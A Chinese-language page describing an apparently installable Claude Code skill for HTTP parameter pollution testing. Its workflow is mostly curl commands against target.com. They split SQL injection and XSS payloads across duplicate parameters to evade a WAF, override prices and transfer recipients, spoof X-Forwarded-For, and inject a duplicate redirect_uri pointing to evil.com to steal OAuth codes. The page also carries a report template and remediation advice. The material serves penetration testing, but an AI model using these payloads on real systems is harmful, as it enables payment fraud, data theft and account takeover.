关于 performing-http-parameter-pollution-attack
用于评估 Web 应用和 API 中 HTTP 参数污染(HPP)的安全测试技能,涵盖重复参数处理、载荷测试及授权评估报告。
主要功能
- 01比较重复参数的处理方式
- 02测试服务端与客户端 HPP
- 03评估 WAF 和输入验证绕过
- 04检查 OAuth 与支付流程
- 05使用安全工具自动化测试
适用场景
- 01检查 Web 技术栈如何解析重复参数
- 02评估 WAF 对拆分载荷的处理
- 03测试 OAuth 或结账请求中的参数优先级
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-http-parameter-pollution-attack安装后在 Claude Code 中输入/performing-http-parameter-pollution-attack确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 HTTP 参数污染攻击
何时使用
- 在测试 Web 应用程序的输入验证绕过漏洞时
- 在 WAF 绕过测试期间,将攻击载荷拆分到重复参数中
- 在评估不同技术栈如何处理重复 HTTP 参数时
- 在 API 安全测试期间,识别参数优先级问题
- 在测试 OAuth 或支付处理流程中的参数操纵时
前置条件
- 带有 Intruder 和 Repeater 模块的 Burp Suite Professional
- 了解 HTTP 协议和查询字符串解析
- 了解服务端参数处理的差异(first、last、array、concatenated)
- 用于手动构造参数的 cURL 或 httpie
- 目标应用程序技术栈识别(Apache、IIS、Tomcat、Node.js 等)
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用是违法的,可能违反计算机欺诈法。
工作流
步骤 1 — 识别参数处理行为
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
步骤 2 — 执行服务端 HPP
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
步骤 3 — 执行客户端 HPP
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
步骤 4 — 使用 HPP 绕过 WAF 规则
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
步骤 5 — 测试 OAuth 和支付流程 HPP
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
步骤 6 — 自动化 HPP 测试
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
关键概念
| 概念 | 描述 |
|---|---|
| 服务端 HPP | 重复参数被后端以不同方式处理,导致逻辑绕过 |
| 客户端 HPP | 注入的参数被反射到发送给其他用户的 URL/链接中 |
| 参数优先级 | 服务器行为:first-wins、last-wins、连接或数组 |
| WAF 绕过 | 将攻击载荷拆分到重复参数中以规避检测 |
| 技术特定解析 | 不同框架以独特方式处理重复参数 |
| URL 编码 HPP | 使用 %26(编码后的 &)在值内注入额外参数 |
| 头部污染 | 发送重复的 HTTP 头部以利用转发或信任逻辑 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite | 用于拦截和复制参数的 HTTP 代理 |
| param-miner | 用于发现隐藏和重复参数的 Burp 扩展 |
| OWASP ZAP | 具有 HPP 检测能力的自动化扫描器 |
| Arjun | 隐藏 HTTP 参数发现工具 |
| ffuf | 用于参数暴力破解和重复测试的模糊测试工具 |
| Wfuzz | 支持参数操纵的 Web 应用程序模糊测试器 |
常见场景
- WAF 绕过 — 将 SQL 注入或 XSS 载荷拆分到重复参数中,此时 WAF 逐个检查值,但服务器会将它们连接起来
- 支付操纵 — 在电子商务结账流程中提交重复参数值,以覆盖价格或数量参数
- OAuth 重定向劫持 — 注入重复的 redirect_uri 参数,将授权码重定向到攻击者控制的服务器
- 访问控制绕过 — 覆盖请求中的角色或权限参数,以提升权限或访问受限资源
- 输入验证绕过 — 通过注入意外的重复参数来规避客户端或服务端验证
输出格式
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
评论
支持 Markdown